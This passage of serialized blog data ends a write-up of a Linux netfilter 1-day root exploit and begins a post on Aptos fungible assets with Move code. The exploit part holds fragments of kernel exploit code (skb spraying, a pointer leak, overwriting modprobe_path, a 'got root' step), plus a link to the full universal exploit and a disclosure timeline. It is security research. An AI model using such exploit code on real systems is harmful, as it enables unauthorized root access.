stdout_fd);\n",{"type":24,"tag":90,"props":62125,"children":62126},{"class":92,"line":791},[62127],{"type":24,"tag":90,"props":62128,"children":62129},{"emptyLinePlaceholder":16},[62130],{"type":29,"value":245},{"type":24,"tag":90,"props":62132,"children":62133},{"class":92,"line":799},[62134,62138,62142,62146,62150,62154,62159,62163,62168,62173,62177,62181,62185],{"type":24,"tag":90,"props":62135,"children":62136},{"style":636},[62137],{"type":29,"value":5667},{"type":24,"tag":90,"props":62139,"children":62140},{"style":114},[62141],{"type":29,"value":1151},{"type":24,"tag":90,"props":62143,"children":62144},{"style":108},[62145],{"type":29,"value":61978},{"type":24,"tag":90,"props":62147,"children":62148},{"style":114},[62149],{"type":29,"value":117},{"type":24,"tag":90,"props":62151,"children":62152},{"style":136},[62153],{"type":29,"value":60649},{"type":24,"tag":90,"props":62155,"children":62156},{"style":114},[62157],{"type":29,"value":62158},"[pipe_idx][",{"type":24,"tag":90,"props":62160,"children":62161},{"style":349},[62162],{"type":29,"value":534},{"type":24,"tag":90,"props":62164,"children":62165},{"style":114},[62166],{"type":29,"value":62167},"], fd_path, ",{"type":24,"tag":90,"props":62169,"children":62170},{"style":349},[62171],{"type":29,"value":62172},"32",{"type":24,"tag":90,"props":62174,"children":62175},{"style":114},[62176],{"type":29,"value":172},{"type":24,"tag":90,"props":62178,"children":62179},{"style":120},[62180],{"type":29,"value":1575},{"type":24,"tag":90,"props":62182,"children":62183},{"style":349},[62184],{"type":29,"value":5448},{"type":24,"tag":90,"props":62186,"children":62187},{"style":114},[62188],{"type":29,"value":1686},{"type":24,"tag":90,"props":62190,"children":62191},{"class":92,"line":807},[62192],{"type":24,"tag":90,"props":62193,"children":62194},{"style":114},[62195],{"type":29,"value":33472},{"type":24,"tag":90,"props":62197,"children":62198},{"class":92,"line":821},[62199,62203,62207,62211,62215,62220],{"type":24,"tag":90,"props":62200,"children":62201},{"style":108},[62202],{"type":29,"value":59722},{"type":24,"tag":90,"props":62204,"children":62205},{"style":114},[62206],{"type":29,"value":117},{"type":24,"tag":90,"props":62208,"children":62209},{"style":1085},[62210],{"type":29,"value":21855},{"type":24,"tag":90,"props":62212,"children":62213},{"style":50196},[62214],{"type":29,"value":50199},{"type":24,"tag":90,"props":62216,"children":62217},{"style":1085},[62218],{"type":29,"value":62219},"[-] write(pipe)\"",{"type":24,"tag":90,"props":62221,"children":62222},{"style":114},[62223],{"type":29,"value":571},{"type":24,"tag":90,"props":62225,"children":62226},{"class":92,"line":6278},[62227],{"type":24,"tag":90,"props":62228,"children":62229},{"style":114},[62230],{"type":29,"value":5740},{"type":24,"tag":90,"props":62232,"children":62233},{"class":92,"line":11420},[62234],{"type":24,"tag":90,"props":62235,"children":62236},{"emptyLinePlaceholder":16},[62237],{"type":29,"value":245},{"type":24,"tag":90,"props":62239,"children":62240},{"class":92,"line":11438},[62241,62245,62249,62254],{"type":24,"tag":90,"props":62242,"children":62243},{"style":636},[62244],{"type":29,"value":5667},{"type":24,"tag":90,"props":62246,"children":62247},{"style":114},[62248],{"type":29,"value":1151},{"type":24,"tag":90,"props":62250,"children":62251},{"style":108},[62252],{"type":29,"value":62253},"check_modprobe",{"type":24,"tag":90,"props":62255,"children":62256},{"style":114},[62257],{"type":29,"value":62258},"(fd_path))\n",{"type":24,"tag":90,"props":62260,"children":62261},{"class":92,"line":11483},[62262],{"type":24,"tag":90,"props":62263,"children":62264},{"style":114},[62265],{"type":29,"value":33472},{"type":24,"tag":90,"props":62267,"children":62268},{"class":92,"line":11589},[62269,62274,62278,62283],{"type":24,"tag":90,"props":62270,"children":62271},{"style":108},[62272],{"type":29,"value":62273}," puts",{"type":24,"tag":90,"props":62275,"children":62276},{"style":114},[62277],{"type":29,"value":117},{"type":24,"tag":90,"props":62279,"children":62280},{"style":1085},[62281],{"type":29,"value":62282},"\"[-] failed to overwrite modprobe\"",{"type":24,"tag":90,"props":62284,"children":62285},{"style":114},[62286],{"type":29,"value":571},{"type":24,"tag":90,"props":62288,"children":62289},{"class":92,"line":25306},[62290,62294],{"type":24,"tag":90,"props":62291,"children":62292},{"style":636},[62293],{"type":29,"value":5692},{"type":24,"tag":90,"props":62295,"children":62296},{"style":114},[62297],{"type":29,"value":381},{"type":24,"tag":90,"props":62299,"children":62300},{"class":92,"line":25341},[62301],{"type":24,"tag":90,"props":62302,"children":62303},{"style":114},[62304],{"type":29,"value":5740},{"type":24,"tag":90,"props":62306,"children":62307},{"class":92,"line":25349},[62308],{"type":24,"tag":90,"props":62309,"children":62310},{"emptyLinePlaceholder":16},[62311],{"type":29,"value":245},{"type":24,"tag":90,"props":62313,"children":62314},{"class":92,"line":25357},[62315,62319,62323,62328],{"type":24,"tag":90,"props":62316,"children":62317},{"style":636},[62318],{"type":29,"value":5667},{"type":24,"tag":90,"props":62320,"children":62321},{"style":114},[62322],{"type":29,"value":1151},{"type":24,"tag":90,"props":62324,"children":62325},{"style":108},[62326],{"type":29,"value":62327},"trigger_modprobe",{"type":24,"tag":90,"props":62329,"children":62330},{"style":114},[62331],{"type":29,"value":62332},"(status_fd))\n",{"type":24,"tag":90,"props":62334,"children":62335},{"class":92,"line":25366},[62336],{"type":24,"tag":90,"props":62337,"children":62338},{"style":114},[62339],{"type":29,"value":33472},{"type":24,"tag":90,"props":62341,"children":62342},{"class":92,"line":25408},[62343,62347,62351,62355,62359,62364],{"type":24,"tag":90,"props":62344,"children":62345},{"style":108},[62346],{"type":29,"value":62273},{"type":24,"tag":90,"props":62348,"children":62349},{"style":114},[62350],{"type":29,"value":117},{"type":24,"tag":90,"props":62352,"children":62353},{"style":1085},[62354],{"type":29,"value":21855},{"type":24,"tag":90,"props":62356,"children":62357},{"style":50196},[62358],{"type":29,"value":50199},{"type":24,"tag":90,"props":62360,"children":62361},{"style":1085},[62362],{"type":29,"value":62363},"[+] got root\"",{"type":24,"tag":90,"props":62365,"children":62366},{"style":114},[62367],{"type":29,"value":571},{"type":24,"tag":90,"props":62369,"children":62370},{"class":92,"line":25441},[62371,62376],{"type":24,"tag":90,"props":62372,"children":62373},{"style":636},[62374],{"type":29,"value":62375}," goto",{"type":24,"tag":90,"props":62377,"children":62378},{"style":114},[62379],{"type":29,"value":62380}," out;\n",{"type":24,"tag":90,"props":62382,"children":62383},{"class":92,"line":25449},[62384],{"type":24,"tag":90,"props":62385,"children":62386},{"style":114},[62387],{"type":29,"value":5740},{"type":24,"tag":90,"props":62389,"children":62390},{"class":92,"line":25457},[62391],{"type":24,"tag":90,"props":62392,"children":62393},{"emptyLinePlaceholder":16},[62394],{"type":29,"value":245},{"type":24,"tag":90,"props":62396,"children":62397},{"class":92,"line":25466},[62398,62403,62407,62411,62415,62419,62423,62427,62431,62436,62440],{"type":24,"tag":90,"props":62399,"children":62400},{"style":636},[62401],{"type":29,"value":62402}," for",{"type":24,"tag":90,"props":62404,"children":62405},{"style":114},[62406],{"type":29,"value":1151},{"type":24,"tag":90,"props":62408,"children":62409},{"style":97},[62410],{"type":29,"value":20841},{"type":24,"tag":90,"props":62412,"children":62413},{"style":114},[62414],{"type":29,"value":56368},{"type":24,"tag":90,"props":62416,"children":62417},{"style":120},[62418],{"type":29,"value":5491},{"type":24,"tag":90,"props":62420,"children":62421},{"style":349},[62422],{"type":29,"value":5448},{"type":24,"tag":90,"props":62424,"children":62425},{"style":114},[62426],{"type":29,"value":53057},{"type":24,"tag":90,"props":62428,"children":62429},{"style":120},[62430],{"type":29,"value":1575},{"type":24,"tag":90,"props":62432,"children":62433},{"style":114},[62434],{"type":29,"value":62435}," SKBUF_SPRAY; i",{"type":24,"tag":90,"props":62437,"children":62438},{"style":120},[62439],{"type":29,"value":53093},{"type":24,"tag":90,"props":62441,"children":62442},{"style":114},[62443],{"type":29,"value":1686},{"type":24,"tag":90,"props":62445,"children":62446},{"class":92,"line":25542},[62447],{"type":24,"tag":90,"props":62448,"children":62449},{"style":114},[62450],{"type":29,"value":33472},{"type":24,"tag":90,"props":62452,"children":62453},{"class":92,"line":25575},[62454,62458,62462,62467,62471,62476,62481,62485,62490,62494,62498,62503,62507,62511,62515],{"type":24,"tag":90,"props":62455,"children":62456},{"style":636},[62457],{"type":29,"value":60626},{"type":24,"tag":90,"props":62459,"children":62460},{"style":114},[62461],{"type":29,"value":1151},{"type":24,"tag":90,"props":62463,"children":62464},{"style":108},[62465],{"type":29,"value":62466},"read",{"type":24,"tag":90,"props":62468,"children":62469},{"style":114},[62470],{"type":29,"value":117},{"type":24,"tag":90,"props":62472,"children":62473},{"style":136},[62474],{"type":29,"value":62475},"sock",{"type":24,"tag":90,"props":62477,"children":62478},{"style":114},[62479],{"type":29,"value":62480},"[i][",{"type":24,"tag":90,"props":62482,"children":62483},{"style":349},[62484],{"type":29,"value":534},{"type":24,"tag":90,"props":62486,"children":62487},{"style":114},[62488],{"type":29,"value":62489},"], leak, ",{"type":24,"tag":90,"props":62491,"children":62492},{"style":349},[62493],{"type":29,"value":59973},{"type":24,"tag":90,"props":62495,"children":62496},{"style":120},[62497],{"type":29,"value":53079},{"type":24,"tag":90,"props":62499,"children":62500},{"style":349},[62501],{"type":29,"value":62502}," 320",{"type":24,"tag":90,"props":62504,"children":62505},{"style":114},[62506],{"type":29,"value":172},{"type":24,"tag":90,"props":62508,"children":62509},{"style":120},[62510],{"type":29,"value":1575},{"type":24,"tag":90,"props":62512,"children":62513},{"style":349},[62514],{"type":29,"value":5448},{"type":24,"tag":90,"props":62516,"children":62517},{"style":114},[62518],{"type":29,"value":1686},{"type":24,"tag":90,"props":62520,"children":62521},{"class":92,"line":25583},[62522],{"type":24,"tag":90,"props":62523,"children":62524},{"style":114},[62525],{"type":29,"value":33508},{"type":24,"tag":90,"props":62527,"children":62528},{"class":92,"line":25591},[62529,62534,62538,62543],{"type":24,"tag":90,"props":62530,"children":62531},{"style":108},[62532],{"type":29,"value":62533}," perror",{"type":24,"tag":90,"props":62535,"children":62536},{"style":114},[62537],{"type":29,"value":117},{"type":24,"tag":90,"props":62539,"children":62540},{"style":1085},[62541],{"type":29,"value":62542},"\"[-] read(socket)\"",{"type":24,"tag":90,"props":62544,"children":62545},{"style":114},[62546],{"type":29,"value":571},{"type":24,"tag":90,"props":62548,"children":62549},{"class":92,"line":25628},[62550,62555,62559,62563],{"type":24,"tag":90,"props":62551,"children":62552},{"style":636},[62553],{"type":29,"value":62554}," return",{"type":24,"tag":90,"props":62556,"children":62557},{"style":120},[62558],{"type":29,"value":53079},{"type":24,"tag":90,"props":62560,"children":62561},{"style":349},[62562],{"type":29,"value":534},{"type":24,"tag":90,"props":62564,"children":62565},{"style":114},[62566],{"type":29,"value":381},{"type":24,"tag":90,"props":62568,"children":62569},{"class":92,"line":25641},[62570],{"type":24,"tag":90,"props":62571,"children":62572},{"style":114},[62573],{"type":29,"value":60710},{"type":24,"tag":90,"props":62575,"children":62576},{"class":92,"line":25654},[62577],{"type":24,"tag":90,"props":62578,"children":62579},{"style":114},[62580],{"type":29,"value":5740},{"type":24,"tag":90,"props":62582,"children":62583},{"class":92,"line":25667},[62584],{"type":24,"tag":90,"props":62585,"children":62586},{"style":114},[62587],{"type":29,"value":612},{"type":24,"tag":90,"props":62589,"children":62590},{"class":92,"line":25721},[62591,62595,62599,62604],{"type":24,"tag":90,"props":62592,"children":62593},{"style":108},[62594],{"type":29,"value":57331},{"type":24,"tag":90,"props":62596,"children":62597},{"style":114},[62598],{"type":29,"value":117},{"type":24,"tag":90,"props":62600,"children":62601},{"style":1085},[62602],{"type":29,"value":62603},"\"[-] fake modprobe failed\"",{"type":24,"tag":90,"props":62605,"children":62606},{"style":114},[62607],{"type":29,"value":571},{"type":24,"tag":90,"props":62609,"children":62610},{"class":92,"line":25730},[62611],{"type":24,"tag":90,"props":62612,"children":62613},{"style":114},[62614],{"type":29,"value":12686},{"type":24,"tag":25,"props":62616,"children":62617},{},[62618,62620,62627],{"type":29,"value":62619},"This trick has already been throughly detailed by ",{"type":24,"tag":69,"props":62621,"children":62624},{"href":62622,"rel":62623},"https://pwning.tech/nftables/#28-overwriting-modprobepath",[73],[62625],{"type":29,"value":62626},"lau",{"type":29,"value":62628},", so we won't go much more into it.",{"type":24,"tag":1019,"props":62630,"children":62632},{"id":62631},"universal-exploit-demo",[62633],{"type":29,"value":62634},"Universal exploit demo",{"type":24,"tag":25,"props":62636,"children":62637},{},[62638,62640,62646],{"type":29,"value":62639},"{%youtube tjbp4Mtfo8w %}\nYou can find the complete universal exploit in our ",{"type":24,"tag":69,"props":62641,"children":62644},{"href":62642,"rel":62643},"https://github.com/otter-sec/OtterRoot/blob/master/universal/exploit.c",[73],[62645],{"type":29,"value":59240},{"type":29,"value":226},{"type":24,"tag":850,"props":62648,"children":62650},{"id":62649},"disclosure-timeline",[62651],{"type":29,"value":62652},"Disclosure Timeline",{"type":24,"tag":3207,"props":62654,"children":62655},{},[62656,62661,62666,62671,62676],{"type":24,"tag":3104,"props":62657,"children":62658},{},[62659],{"type":29,"value":62660},"March 21st -- Patch made public",{"type":24,"tag":3104,"props":62662,"children":62663},{},[62664],{"type":29,"value":62665},"March 23rd -- Scrolled through commits and found the bug fix.",{"type":24,"tag":3104,"props":62667,"children":62668},{},[62669],{"type":29,"value":62670},"March 24th -- Wrote KernelCTF exploit",{"type":24,"tag":3104,"props":62672,"children":62673},{},[62674],{"type":29,"value":62675},"March 26th -- Wrote Universal exploit",{"type":24,"tag":3104,"props":62677,"children":62678},{},[62679],{"type":29,"value":62680},"May 23rd -- Patch landed on Ubuntu and Debian",{"type":24,"tag":25,"props":62682,"children":62683},{},[62684],{"type":29,"value":62685},"Note that the universal exploit was alive for roughly 2 months against popular distros.",{"type":24,"tag":850,"props":62687,"children":62688},{"id":30743},[62689],{"type":29,"value":20741},{"type":24,"tag":25,"props":62691,"children":62692},{},[62693],{"type":29,"value":62694},"In this post, I have discussed how a bug fixed by a commit freshly made public can be used to exploit the latest stable releases of the kernel and maintain 0day-like primitives for an extended period. I've also discussed two different paths to exploit the vulnerability: one that I used to exploit the KernelCTF instance and retrieve the flag and a second one that I used to craft a universal exploit binary that works stably in all tested targets without needing to be adapted or even recompiled.",{"type":24,"tag":25,"props":62696,"children":62697},{},[62698],{"type":29,"value":62699},"What we have observed is not novel; despite the efforts and progress made by the Linux community to improve kernel security, it's been made evident that the supply of exploitable bugs is still virtually unlimited and that the open-source patch gap is long enough to maintain capabilities that are live.",{"type":24,"tag":5249,"props":62701,"children":62702},{},[62703],{"type":29,"value":5253},{"title":7,"searchDepth":200,"depth":200,"links":62705},[62706,62709,62712,62715,62716,62726,62734,62735],{"id":52391,"depth":200,"text":52394,"children":62707},[62708],{"id":52412,"depth":239,"text":52415},{"id":52455,"depth":200,"text":52455,"children":62710},[62711],{"id":52502,"depth":239,"text":52505},{"id":52560,"depth":200,"text":52563,"children":62713},[62714],{"id":53723,"depth":239,"text":53726},{"id":55598,"depth":200,"text":55601},{"id":56000,"depth":200,"text":56003,"children":62717},[62718,62719,62720,62722,62723,62724,62725],{"id":56027,"depth":239,"text":56030},{"id":56909,"depth":239,"text":56912},{"id":57495,"depth":239,"text":62721},"Leaking self pointer of nft_object",{"id":57893,"depth":239,"text":57896},{"id":58407,"depth":239,"text":58410},{"id":58537,"depth":239,"text":58194},{"id":59221,"depth":239,"text":59224},{"id":59244,"depth":200,"text":59247,"children":62727},[62728,62729,62730,62731,62733],{"id":59255,"depth":239,"text":59258},{"id":60113,"depth":239,"text":60116},{"id":60189,"depth":239,"text":60192},{"id":61814,"depth":239,"text":62732},"Overwriting modprobe_path",{"id":62631,"depth":239,"text":62634},{"id":62649,"depth":200,"text":62652},{"id":30743,"depth":200,"text":20741},"content:blog:2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day",{"_path":62740,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":62741,"description":62742,"image":62743,"date":62745,"isFeatured":16,"onBlogPage":16,"tags":62746,"body":62747,"_type":5270,"_id":69465,"_source":5272,"_file":69466,"_stem":69467,"_extension":5275},"/blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets","Hitchhiker's Guide to Aptos Fungible Assets","We take a deep dive into Aptos’ implementation of fungible assets, exploring the intricacies hidden within its functions, objects, and interactions. While the Fungible Asset model was designed to address the limitations and security flaws of the legacy Coin standard, it also introduced new challenges and vulnerabilities that developers should be aware of.",{"src":62744,"width":7772,"height":7773},"/posts/aptos-guide/title.png","2025-02-10",[8265],{"type":21,"children":62748,"toc":69449},[62749,62762,62767,62776,62782,62810,62883,62923,62957,63118,63137,63218,63258,63286,63303,63308,63316,63321,63327,63348,63428,63461,63469,63482,63487,63871,63876,63881,63887,63892,63904,64008,64046,64049,64067,64375,64380,64392,64398,64424,64445,64450,64629,64649,64655,64675,64687,64692,64698,64710,64773,64800,64824,65045,65048,65067,65177,65234,65370,65397,65403,65429,65673,65701,66003,66036,66050,66076,66109,66416,66428,66705,66719,67036,67055,67061,67093,67133,67234,67254,67374,67391,67465,67477,67565,67586,67592,67597,67602,67619,67640,68011,68070,68075,68526,68531,68567,68573,68585,68607,68633,68840,68854,69109,69121,69148,69299,69318,69348,69352,69363,69368,69381,69445],{"type":24,"tag":25,"props":62750,"children":62751},{},[62752,62754,62760],{"type":29,"value":62753},"Aptos’ fungible asset model is a complex component of its ecosystem, designed to address the limitations of its predecessor — the ",{"type":24,"tag":32,"props":62755,"children":62757},{"className":62756},[],[62758],{"type":29,"value":62759},"coin",{"type":29,"value":62761}," standard. While the new model aims to enhance functionality and security, it also comes with its own set of challenges.",{"type":24,"tag":25,"props":62763,"children":62764},{},[62765],{"type":29,"value":62766},"In this blog post, we'll closely examine Aptos's coin and fungible asset models, exploring their history and connection. We will examine key aspects of the fungible asset framework, including real-world examples of vulnerabilities that were identified and addressed, with the goal of improving security and reliability — all to help you build more secure and reliable applications.",{"type":24,"tag":62768,"props":62769,"children":62770},"important",{},[62771],{"type":24,"tag":25,"props":62772,"children":62773},{},[62774],{"type":29,"value":62775},"All issues mentioned were identified and addressed during Aptos' rigorous pre-release audits, demonstrating the project's dedication to delivering a robust and secure environment from day one.",{"type":24,"tag":850,"props":62777,"children":62779},{"id":62778},"aptos-coin-standard",[62780],{"type":29,"value":62781},"Aptos Coin standard",{"type":24,"tag":25,"props":62783,"children":62784},{},[62785,62787,62793,62795,62800,62801,62808],{"type":29,"value":62786},"In the beginning, Aptos used ",{"type":24,"tag":32,"props":62788,"children":62790},{"className":62789},[],[62791],{"type":29,"value":62792},"Coin",{"type":29,"value":62794},". It is still in use, although it is now considered \"legacy\". ",{"type":24,"tag":32,"props":62796,"children":62798},{"className":62797},[],[62799],{"type":29,"value":62792},{"type":29,"value":67},{"type":24,"tag":69,"props":62802,"children":62805},{"href":62803,"rel":62804},"https://github.com/aptos-labs/aptos-core/blob/1381c93fd5a656f16fb326d4ffe371947554a330/aptos-move/framework/aptos-framework/sources/coin.move#L119-L123",[73],[62806],{"type":29,"value":62807},"defined",{"type":29,"value":62809}," in Aptos as follows:",{"type":24,"tag":80,"props":62811,"children":62813},{"className":82,"code":62812,"language":84,"meta":7,"style":7},"struct Coin\u003Cphantom CoinType> has store {\n value: u64,\n}\n",[62814],{"type":24,"tag":32,"props":62815,"children":62816},{"__ignoreMap":7},[62817,62856,62876],{"type":24,"tag":90,"props":62818,"children":62819},{"class":92,"line":93},[62820,62824,62828,62832,62836,62840,62844,62848,62852],{"type":24,"tag":90,"props":62821,"children":62822},{"style":97},[62823],{"type":29,"value":3050},{"type":24,"tag":90,"props":62825,"children":62826},{"style":146},[62827],{"type":29,"value":8188},{"type":24,"tag":90,"props":62829,"children":62830},{"style":114},[62831],{"type":29,"value":1575},{"type":24,"tag":90,"props":62833,"children":62834},{"style":136},[62835],{"type":29,"value":8197},{"type":24,"tag":90,"props":62837,"children":62838},{"style":146},[62839],{"type":29,"value":8202},{"type":24,"tag":90,"props":62841,"children":62842},{"style":114},[62843],{"type":29,"value":8207},{"type":24,"tag":90,"props":62845,"children":62846},{"style":136},[62847],{"type":29,"value":8212},{"type":24,"tag":90,"props":62849,"children":62850},{"style":136},[62851],{"type":29,"value":8217},{"type":24,"tag":90,"props":62853,"children":62854},{"style":114},[62855],{"type":29,"value":269},{"type":24,"tag":90,"props":62857,"children":62858},{"class":92,"line":200},[62859,62864,62868,62872],{"type":24,"tag":90,"props":62860,"children":62861},{"style":136},[62862],{"type":29,"value":62863}," value",{"type":24,"tag":90,"props":62865,"children":62866},{"style":120},[62867],{"type":29,"value":78},{"type":24,"tag":90,"props":62869,"children":62870},{"style":146},[62871],{"type":29,"value":376},{"type":24,"tag":90,"props":62873,"children":62874},{"style":114},[62875],{"type":29,"value":748},{"type":24,"tag":90,"props":62877,"children":62878},{"class":92,"line":239},[62879],{"type":24,"tag":90,"props":62880,"children":62881},{"style":114},[62882],{"type":29,"value":827},{"type":24,"tag":25,"props":62884,"children":62885},{},[62886,62888,62893,62895,62901,62902,62908,62910,62915,62917,62922],{"type":29,"value":62887},"Aptos distinguishes coins by their type (",{"type":24,"tag":32,"props":62889,"children":62891},{"className":62890},[],[62892],{"type":29,"value":8968},{"type":29,"value":62894},") at compile time. For example, ",{"type":24,"tag":32,"props":62896,"children":62898},{"className":62897},[],[62899],{"type":29,"value":62900},"Coin\u003COtter>",{"type":29,"value":13360},{"type":24,"tag":32,"props":62903,"children":62905},{"className":62904},[],[62906],{"type":29,"value":62907},"Coin\u003CWeasel>",{"type":29,"value":62909}," represent different coins, and you cannot pass a ",{"type":24,"tag":32,"props":62911,"children":62913},{"className":62912},[],[62914],{"type":29,"value":62907},{"type":29,"value":62916}," to a function expecting ",{"type":24,"tag":32,"props":62918,"children":62920},{"className":62919},[],[62921],{"type":29,"value":62900},{"type":29,"value":226},{"type":24,"tag":25,"props":62924,"children":62925},{},[62926,62928,62933,62935,62940,62942,62947,62949,62955],{"type":29,"value":62927},"The type signature reveals why ",{"type":24,"tag":32,"props":62929,"children":62931},{"className":62930},[],[62932],{"type":29,"value":62792},{"type":29,"value":62934}," has become a legacy standard. ",{"type":24,"tag":32,"props":62936,"children":62938},{"className":62937},[],[62939],{"type":29,"value":62792},{"type":29,"value":62941}," has only the ",{"type":24,"tag":32,"props":62943,"children":62945},{"className":62944},[],[62946],{"type":29,"value":8326},{"type":29,"value":62948}," ability and uses a ",{"type":24,"tag":32,"props":62950,"children":62952},{"className":62951},[],[62953],{"type":29,"value":62954},"CoinStore",{"type":29,"value":62956}," wrapper to store the coin and metadata:",{"type":24,"tag":80,"props":62958,"children":62960},{"className":82,"code":62959,"language":84,"meta":7,"style":7},"struct CoinStore\u003Cphantom CoinType> has key {\n coin: Coin\u003CCoinType>,\n frozen: bool,\n deposit_events: EventHandle\u003CDepositEvent>,\n withdraw_events: EventHandle\u003CWithdrawEvent>,\n}\n",[62961],{"type":24,"tag":32,"props":62962,"children":62963},{"__ignoreMap":7},[62964,63004,63032,63052,63082,63111],{"type":24,"tag":90,"props":62965,"children":62966},{"class":92,"line":93},[62967,62971,62976,62980,62984,62988,62992,62996,63000],{"type":24,"tag":90,"props":62968,"children":62969},{"style":97},[62970],{"type":29,"value":3050},{"type":24,"tag":90,"props":62972,"children":62973},{"style":146},[62974],{"type":29,"value":62975}," CoinStore",{"type":24,"tag":90,"props":62977,"children":62978},{"style":114},[62979],{"type":29,"value":1575},{"type":24,"tag":90,"props":62981,"children":62982},{"style":136},[62983],{"type":29,"value":8197},{"type":24,"tag":90,"props":62985,"children":62986},{"style":146},[62987],{"type":29,"value":8202},{"type":24,"tag":90,"props":62989,"children":62990},{"style":114},[62991],{"type":29,"value":8207},{"type":24,"tag":90,"props":62993,"children":62994},{"style":136},[62995],{"type":29,"value":8212},{"type":24,"tag":90,"props":62997,"children":62998},{"style":136},[62999],{"type":29,"value":8317},{"type":24,"tag":90,"props":63001,"children":63002},{"style":114},[63003],{"type":29,"value":269},{"type":24,"tag":90,"props":63005,"children":63006},{"class":92,"line":200},[63007,63012,63016,63020,63024,63028],{"type":24,"tag":90,"props":63008,"children":63009},{"style":136},[63010],{"type":29,"value":63011}," coin",{"type":24,"tag":90,"props":63013,"children":63014},{"style":120},[63015],{"type":29,"value":78},{"type":24,"tag":90,"props":63017,"children":63018},{"style":146},[63019],{"type":29,"value":8188},{"type":24,"tag":90,"props":63021,"children":63022},{"style":114},[63023],{"type":29,"value":1575},{"type":24,"tag":90,"props":63025,"children":63026},{"style":146},[63027],{"type":29,"value":8968},{"type":24,"tag":90,"props":63029,"children":63030},{"style":114},[63031],{"type":29,"value":8523},{"type":24,"tag":90,"props":63033,"children":63034},{"class":92,"line":239},[63035,63040,63044,63048],{"type":24,"tag":90,"props":63036,"children":63037},{"style":136},[63038],{"type":29,"value":63039}," frozen",{"type":24,"tag":90,"props":63041,"children":63042},{"style":120},[63043],{"type":29,"value":78},{"type":24,"tag":90,"props":63045,"children":63046},{"style":146},[63047],{"type":29,"value":167},{"type":24,"tag":90,"props":63049,"children":63050},{"style":114},[63051],{"type":29,"value":748},{"type":24,"tag":90,"props":63053,"children":63054},{"class":92,"line":248},[63055,63060,63064,63069,63073,63078],{"type":24,"tag":90,"props":63056,"children":63057},{"style":136},[63058],{"type":29,"value":63059}," deposit_events",{"type":24,"tag":90,"props":63061,"children":63062},{"style":120},[63063],{"type":29,"value":78},{"type":24,"tag":90,"props":63065,"children":63066},{"style":146},[63067],{"type":29,"value":63068}," EventHandle",{"type":24,"tag":90,"props":63070,"children":63071},{"style":114},[63072],{"type":29,"value":1575},{"type":24,"tag":90,"props":63074,"children":63075},{"style":146},[63076],{"type":29,"value":63077},"DepositEvent",{"type":24,"tag":90,"props":63079,"children":63080},{"style":114},[63081],{"type":29,"value":8523},{"type":24,"tag":90,"props":63083,"children":63084},{"class":92,"line":258},[63085,63090,63094,63098,63102,63107],{"type":24,"tag":90,"props":63086,"children":63087},{"style":136},[63088],{"type":29,"value":63089}," withdraw_events",{"type":24,"tag":90,"props":63091,"children":63092},{"style":120},[63093],{"type":29,"value":78},{"type":24,"tag":90,"props":63095,"children":63096},{"style":146},[63097],{"type":29,"value":63068},{"type":24,"tag":90,"props":63099,"children":63100},{"style":114},[63101],{"type":29,"value":1575},{"type":24,"tag":90,"props":63103,"children":63104},{"style":146},[63105],{"type":29,"value":63106},"WithdrawEvent",{"type":24,"tag":90,"props":63108,"children":63109},{"style":114},[63110],{"type":29,"value":8523},{"type":24,"tag":90,"props":63112,"children":63113},{"class":92,"line":272},[63114],{"type":24,"tag":90,"props":63115,"children":63116},{"style":114},[63117],{"type":29,"value":827},{"type":24,"tag":25,"props":63119,"children":63120},{},[63121,63123,63128,63130,63135],{"type":29,"value":63122},"However, an astute reader would note that this isn't the only place a ",{"type":24,"tag":32,"props":63124,"children":63126},{"className":63125},[],[63127],{"type":29,"value":62792},{"type":29,"value":63129}," can be stored. You can create your own ",{"type":24,"tag":32,"props":63131,"children":63133},{"className":63132},[],[63134],{"type":29,"value":62792},{"type":29,"value":63136}," wallet, which could look like this:",{"type":24,"tag":80,"props":63138,"children":63140},{"className":82,"code":63139,"language":84,"meta":7,"style":7},"struct DefinitelyLegitCoinStore\u003Cphantom CoinType> has key {\n coin: Coin\u003CCoinType>\n}\n",[63141],{"type":24,"tag":32,"props":63142,"children":63143},{"__ignoreMap":7},[63144,63184,63211],{"type":24,"tag":90,"props":63145,"children":63146},{"class":92,"line":93},[63147,63151,63156,63160,63164,63168,63172,63176,63180],{"type":24,"tag":90,"props":63148,"children":63149},{"style":97},[63150],{"type":29,"value":3050},{"type":24,"tag":90,"props":63152,"children":63153},{"style":146},[63154],{"type":29,"value":63155}," DefinitelyLegitCoinStore",{"type":24,"tag":90,"props":63157,"children":63158},{"style":114},[63159],{"type":29,"value":1575},{"type":24,"tag":90,"props":63161,"children":63162},{"style":136},[63163],{"type":29,"value":8197},{"type":24,"tag":90,"props":63165,"children":63166},{"style":146},[63167],{"type":29,"value":8202},{"type":24,"tag":90,"props":63169,"children":63170},{"style":114},[63171],{"type":29,"value":8207},{"type":24,"tag":90,"props":63173,"children":63174},{"style":136},[63175],{"type":29,"value":8212},{"type":24,"tag":90,"props":63177,"children":63178},{"style":136},[63179],{"type":29,"value":8317},{"type":24,"tag":90,"props":63181,"children":63182},{"style":114},[63183],{"type":29,"value":269},{"type":24,"tag":90,"props":63185,"children":63186},{"class":92,"line":200},[63187,63191,63195,63199,63203,63207],{"type":24,"tag":90,"props":63188,"children":63189},{"style":136},[63190],{"type":29,"value":63011},{"type":24,"tag":90,"props":63192,"children":63193},{"style":120},[63194],{"type":29,"value":78},{"type":24,"tag":90,"props":63196,"children":63197},{"style":146},[63198],{"type":29,"value":8188},{"type":24,"tag":90,"props":63200,"children":63201},{"style":114},[63202],{"type":29,"value":1575},{"type":24,"tag":90,"props":63204,"children":63205},{"style":146},[63206],{"type":29,"value":8968},{"type":24,"tag":90,"props":63208,"children":63209},{"style":114},[63210],{"type":29,"value":8377},{"type":24,"tag":90,"props":63212,"children":63213},{"class":92,"line":239},[63214],{"type":24,"tag":90,"props":63215,"children":63216},{"style":114},[63217],{"type":29,"value":827},{"type":24,"tag":25,"props":63219,"children":63220},{},[63221,63226,63228,63234,63236,63241,63243,63249,63251,63256],{"type":24,"tag":32,"props":63222,"children":63224},{"className":63223},[],[63225],{"type":29,"value":62954},{"type":29,"value":63227}," includes a ",{"type":24,"tag":32,"props":63229,"children":63231},{"className":63230},[],[63232],{"type":29,"value":63233},"frozen",{"type":29,"value":63235}," field, allowing the issuer to block transfers to and from the store. ",{"type":24,"tag":32,"props":63237,"children":63239},{"className":63238},[],[63240],{"type":29,"value":62954},{"type":29,"value":63242}," is also required for a 